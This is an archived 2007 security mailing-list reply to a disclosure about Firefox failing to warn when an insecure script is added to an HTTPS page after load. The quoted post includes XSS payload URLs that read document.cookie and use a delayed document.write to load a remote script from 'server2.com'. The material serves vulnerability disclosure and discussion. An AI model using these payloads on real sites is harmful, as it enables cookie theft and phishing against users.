[VulnWatch] Re: [Full-disclosure] Mozilla Firefox Insecure Element Stealth Injection Vulnerability



Dear Michal Majchrowicz,

This feature is not intended to protect against XSS, it's only intended
to inform you some information is transmitted in cleartext. You can
simply change

src="http://server2.com/xss.js

to

src="https://server2.com/xss.js

to avoid this message.

--Wednesday, April 4, 2007, 3:29:14 PM, you wrote to full-disclosure@xxxxxxxxxxxxxxxxx:

MM> When user visits sites over HTTPS protocol he is informed by the Web
MM> Browser everytime the site tries to load unsecured (using HTTP
MM> protocol) element (script/iframe/object etc.).
MM> So for instance if we have XSS vulnerable site
MM> https://server.com/vuln.php?id=";><script>alert(document.cookie);</script>
MM> Everybrowser will execute it without any complains since they cannot
MM> know where the code comes from. But this example will cause a warning:
MM> https://server.com/vuln.php?id=";><script
MM> src="http://server2.com/xss.js";></script>
MM> Web Browser knows that we are trying to load something over unsecure protocol.
MM> However Mozilla Firefox will fail with the following example and the
MM> user will think that all the elements are "safe":
MM> https://server.com/vuln.php?id=";><script>setTimeout("document.write('<script
MM> src=http://server2.com/xss.js></script>',10000)"</script>
MM> The "insecure element" will be added after Web Browser performs
MM> checking therefore allowing for instance phising attacks. Internet
MM> Explorer is not vulnerable to this issue. Other Web Browser weren't
MM> tested.

MM> _______________________________________________
MM> Full-Disclosure - We believe in it.
MM> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
MM> Hosted and sponsored by Secunia - http://secunia.com/


--
~/ZARAZA http://securityvulns.com/
Машина оказалась способной к единственному действию,
а именно умножению 2x2, да и то при этом ошибаясь. (Лем)



Relevant Pages

  • Re: [Full-disclosure] Mozilla Firefox Insecure Element Stealth Injection Vulnerability
    ... This feature is not intended to protect against XSS, ... MM> When user visits sites over HTTPS protocol he is informed by the Web ... MM> Web Browser knows that we are trying to load something over unsecure protocol. ... MM> Hosted and sponsored by Secunia - http://secunia.com/ ...
    (Full-Disclosure)
  • Re: Earthlink cable through a Time-Warner cable? [was: Re: For Donna]
    ... But in past years in alt.usage.english there have been postings scolding people for using "the Internet" to refer to the World Wide Web. ... messages is defined by a standard called IP (Internet Protocol). ... the Internet is a network, ... program) which is the protocol that a web browser uses to fetch pages ...
    (alt.usage.english)
  • Re: HTTPS protocol fails periodically
    ... SBS console, Advanced Management, Computer ... 'ipconfig /all> c:\ipconfig.txt' from both the server and one workstation. ... accessible from the internet and the LAN using a web browser. ... and I assume it is this protocol that has failed. ...
    (microsoft.public.windows.server.sbs)
  • Re: [Full-Disclosure] Search Engine XSS
    ... One of the original example of XSS was where an exploiter gave a link on his ... choosing but it was delivered by the nytimes domain. ... One of the original example of XSS was one user gave a link on his webpage ... If the web browser tells you that the page returns code is HTML ...
    (Full-Disclosure)
  • [Full-Disclosure] CHAT SERVER - XSS push
    ... download and vb6 sources: ... Web browser based chatserver similar ... XSS is able to be "pushed" from one ...
    (Full-Disclosure)